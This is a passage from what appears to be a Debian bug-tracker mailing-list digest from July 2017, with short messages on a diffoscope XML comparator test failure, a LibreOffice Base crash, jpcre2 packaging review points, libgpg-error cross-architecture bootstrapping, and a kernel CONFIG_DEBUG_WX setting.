** all derivative works of the Software, unless such copies or derivative
** works are solely in the form of machine-executable object code generated by
** a source language processor.
** 
** THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
** IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
** FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT
** SHALL THE COPYRIGHT HOLDERS OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE
** FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE,
** ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
** DEALINGS IN THE SOFTWARE.
** -LICENSE-END-
*/

/* Steinar */
-- 
Homepage: https://www.sesse.net/

Bug#866120: diffoscope: please add an xml comparator

[Juliana Rodrigues]

Hey Chris,

Just found out what was going wrong.

XMLFile returns an array with the Difference object, while the
previous TextFile class doesn't. So test_apk was looking for a
unified_diff in the wrong place.

This is easily fixed, but I've got a new question. Since XMLFile
now returns an array, the presenter displays the difference for
AndroidManifest file with two column pipes instead of one.
(https://paste.debian.net/977967/)

Should this be fixed or its the expected behavior?

Thanks!

2017-07-24 7:32 GMT-03:00 Chris Lamb :

> Hey Juliana,
>
> > Yes! I would like to work on fixing that. Also, I'll take a look at the
> > other failed tests and get back at you. (:
>
> Any news on this? We'd love to get the tests all passing again :)
>
>
> Regards,
>
> --
>   ,''`.
>  : :'  : Chris Lamb, Debian Project Leader
>  `. `'`  la...@debian.org / chris-lamb.co.uk
>`-
>

Bug#869161: LibreOffice Base still crashes on 32bit Debian Stretch and Sid

[Nrbrtx]

LibreOffice Base still crashes on 32bit Debian:
* on Stretch (libreoffice 1:5.2.7-1 and kernel linux-image-4.9.0-3-686-pae
4.9.30-2+deb9u2)
* on Sid (libreoffice 1:5.3.5~rc1-3 and kernel linux-image-4.11.0-2-686-pae
4.11.11-1)

Bug#869576: intltool patch

[gregor herrmann]

Cf. #826471 in intltool which contains a patch.

I haven't looked if/how far it needs to be adadpted for the old
embedded versions of intltool-update but it might serve as a starting
point.


Cheers,
gregor

-- 
 .''`.  https://info.comodo.priv.at/ - Debian Developer https://www.debian.org
 : :' : OpenPGP fingerprint D1E1 316E 93A7 60A8 104D  85FA BB3A 6801 8649 AA06
 `. `'  Member of VIBE!AT & SPI, fellow of the Free Software Foundation Europe
   `-   NP: Juilliard Ensemble, Berberian,: Différences


signature.asc
Description: Digital Signature

Bug#856792: RFS: jpcre2/10.29.02-1 [ITP: #856780] -- C++ wrapper for PCRE2 library

[Andrey Rahmatullin]

Control: retitle -1 RFS: jpcre2/10.30.01-2 [ITP]
Control: tags -1 + moreinfo

Please fix the lintian warnings.
Don't put the upstream changelog into the debian/changelog entry.
You should always use -1 as a debian revision for the initial upload.
make distclean should be in a dh_auto_clean override, not dh_clean one.
dpkg-source --commit in override_dh_clean is VERY wrong.
Related to the previous, your patch is wrong too.
Please remove commented out sample lines from debian/rules.
dh_auto_test should already run make check.
Please switch to the debhelper compat level 10.
Please bump Standards-Version to the current version.
Please don't use versioned deps/build-deps for versions already in
oldstable.
Please remove commented out Vcs-* lines from debian/control.
Please disable silent rules.

-- 
WBR, wRAR


signature.asc
Description: PGP signature

Bug#869609: libgpg-error is unecessarily hard to bootstrap for new architectures/ABIs

[Wookey]

Source: libgpg-error
Version: 1.26-2
Severity: wishlist
Tags: upstream

libgpg-error is painful to bootstrap for every new architecture,
because it requires a new header file
src/syscfg/lock-obj-pub..h

This is intended to be generated with a native build of
gen-posix-lock-obj, which is a C program, that looks at libc headers
and generates a header file containing a struct.

This is not practical for an actual new architecture where you don't
yet have a machine/filesystem to run this program on. It is
'correctly' cross-built by the current configury to build a binary for
the HOST arch, but as we want to use it at build-time to generate the
header file this is no use as we want a binary for the BUILD arch,
that would output the correct file for the HOST arch. 

It seems redundant to be running a C program which is just fishing
values out of libc headers to make another header. Just using the
headers directly would remove the need for this bootstrapping. Using
an arch-independent scripting language to generate the header would at
least make bootstrapping new arches a lot simpler.

However, given that the point of all this is to make a locking
interface for users that works on all arches, can we not just get rid
of this whole thing and use the available locking primitives in
linux/bsd/windows directly, thereby making a genuinely opaque interface?

Round about here we reach the edge of my expertise, and I hope Steve
Capper, with whom I discussed this today will chime in with more
details of an actual implementation and you can tell us if there is
some reason why that won't work.

Wookey

Bug#852377: RFS: tikzit/1.0-1 [ITP]

[Andrew Shadura]

On 24/07/17 20:10, Andrey Rahmatullin wrote:
> Control: owner -1 !
> 
> Please bump Standards-Version to the current version and I'll upload it.

Actually, I have already uploaded it:

https://ftp-master.debian.org/new/tikzit_1.0+ds-1.html

-- 
Cheers,
  Andrew

Bug#852324: Disable CONFIG_DEBUG_WX in order to avoid this issue.

[Helio Loureiro]

Hi,

First an errata: I don't see messages since March, not January as I stated
wrongly before.

And I tracked similar messages on other distros and found a message from
Linus himself about a way to avoid such error:

https://lkml.org/lkml/2015/12/14/670

Checking standard Debian kernel settings, I can see it is indeed enabled.

# grep CONFIG_DEBUG_WX /boot/config-4.9.0-3-amd64
CONFIG_DEBUG_WX=y

So is possible to delivery a correction kernel package with such parameter
disabled?

Thanks in advance,
Helio Loureiro
http://helio.loureiro.eng.br
https://se.linkedin.com/in/helioloureiro
http://twitter.com/helioloureiro

Bug#865331: ITA: golang-github-masterzen-winrm -- WinRM library for Golang

[Shengjing Zhu]

Control: retitle -1 ITP: golang-github-masterzen-winrm -- WinRM library for 
Golang
Control: owner -1 !
X-Debbugs-CC: pkg-go-maintain...@lists.alioth.debian.org

I will handle this inside pkg-go team. Need sponsor as well.

Regards,
Shengjing Zhu


signature.asc
Description: PGP signature